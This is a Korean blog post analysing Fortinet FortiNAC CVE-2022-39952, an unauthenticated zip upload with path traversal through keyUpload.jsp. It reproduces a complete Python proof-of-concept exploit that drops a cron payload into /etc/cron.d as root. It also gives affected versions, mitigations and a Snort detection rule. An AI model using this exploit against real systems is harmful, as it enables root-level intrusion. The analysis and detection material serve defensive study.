본문 바로가기
CVE

Fortinet FortiNAC (CVE-2022-39952) 취약점을 이용한 zip 파일 업로드 및 악성코드 실행 시도.

by grey-hat hacker 2023. 3. 7.
728x90

목차

    Fortinet FortiNAC (CVE-2022-39952) 취약점 한줄 요약

    Fortinet의 FortiNAC 제품에서 "keyUpload.jsp" Fortinet의 FortiNAC 제품에서 "keyUpload.jsp" 엔트포인트의 파일 업로드 기능을 악용 RCE 공격을 이용 특수 제작된 파일을 업로드할 수 있습니다.

     

    Fortinet 회사, FortiNAC 제품 소개

    Fortinet은 물리적 방화벽, 바이러스 백신 소프트웨어, 침입 방지 시스템 및 엔드포인트 보안 구성 요소와 같은 사이버 보안 솔루션을 개발 및 판매 회사.

     

    FortiNAC™은 네트워크에 연결하는 모든 항목에 대한 가시성, 제어, 자동 대응을 제공함으로써 보안 패브릭을 강화하는 포티넷의 네트워크 액세스 제어 솔루션입니다.

     

     

     

     

    취약점 분석

    •  취약점이 존재하는 keyUpload.jsp 파일 내용을 확인해보면

    cat bsc/campusMgr/ui/RooT/configWizard/keyUpload.jsp 

     

     

    "key" 매개변수의 내용을  '/bsc/campusMgr/config/upload.applianceKey' 파일에 기록 하는데.

      업로드된 파일의 내용을 제대로 검증하지 않는 코드에서 취약점이 발생. 

    String name = fi.getFiledName();
    if( name.equals("key") && fi.getSize() > 0 )
     {  File uploadFile = new File("/bsc/campusMgr/config/upload.applianceKey");

    공격 과정

    1. 사용자가 임의 조작된. zip 파일 업로드 시도 하면.

     

    2. /bsc/campusMgr/config/upload.applianceKey 파일에 업로드된 파일을 기록 하게 됩니다.  

     

    3. 그리고 아래 스크립트에서 와 같이, Runtime(). Exec()에 있는 bash 스크립트를 실행 하게 되는데.
    Process prKey = rtKey.exec( "sudo /bsc/campusMgr/bin/configApplianceXml" );

     

     - 파일의 내용을 살펴보면 

     cat /bsc/campusMgr/bin/configApplianceXml

    unzip - 업로드된 파일의 압축 해제를 실행하는데

                압축 해제 전, cd / 명령어가 먼저 실행. 현재 작업 디렉토리 위로 이동하지 않는 한 모든 경로에 파일을 배치할 수 있게 됩니다.

     

    4. 조작된 zip 파일을 루트 권한으로 원하는 경로에 원격 코드 명령을 실행 시킬 수 있게 됩니다. 

      ex) 이런 공격 과정을 이용 /etc/cron.d에 크론 작업을 추가하여 악성 명령을 실행하도록 합니다.

    POC

     출처  : https://github.com/horizon3ai/CVE-2022-39952/blob/master/CVE-2022-39952.py

    #!/usr/bin/python3
    import argparse
    import requests
    import zipfile
    import urllib3
    urllib3.disable_warnings()
    
    
    def exploit(target):
        url = f'https://{target}:8443/configWizard/keyUpload.jsp'
        r = requests.post(url, files={'key': open('payload.zip', 'rb')}, verify=False)
        if 'SuccessfulUpload' in r.text:
            print(f'[+] Payload successfully delivered')
    
    def make_zip(payload_file):
        fullpath = '/etc/cron.d/payload'
        zf = zipfile.ZipFile('payload.zip', 'w')
        zf.write(payload_file, fullpath)
        zf.close()
        print(f'[+] Wrote {payload_file} to {fullpath}')
    
    if __name__ == "__main__":
        parser = argparse.ArgumentParser()
        parser.add_argument('-t', '--target', help='The IP address of the target', required=True)
        parser.add_argument('-f', '--file', help='The cronjob payload file', required=True)
        args = parser.parse_args()
    
        make_zip(args.file)
        exploit(args.target)

    영향 받는 버전

    • FortiNAC 버전 9.4.0
    • FortiNAC 버전 9.2.0~9.2.5
    • FortiNAC 버전 9.1.0~9.1.7
    • FortiNAC 버전 8.3~8.8

    대응 방법

     1.  패치된 버전이 /bsc/campusMgr/ui/ROOT/configWizard/keyUpload.jsp 파일을 제거했기 때문에 해당 파일이 있는지 확인할 것

     2. Fortinet의 FortiNAC 제품 버전 업데이트

     3. 인증된 사용자만 keyUpload .jsp 파일에 액세스할 수 있도록 시스템을 구성

     

    탐지 Rule

    alert tcp any any -> any any (
    msg:"Fortinet Fortinac keyUpload.jsp zip file upload attempt";
    content:"/configWizard/keyUpload.jsp"; fast_pattern:only; http_uri;
    content:"filename="; http_client_body;;
    )

     

     

     용어 설명

      sudo 명령어 : root 권한을 이용하여 명령어를 실행할 때 사용

      equals() : 두 인스턴스의 주소값을 비교하여 같은 인스턴스인지를 확인하고 같으면 true , 다르면 false 의 boolean 값을 리턴하는 메서드이다.

    728x90
    반응형

    댓글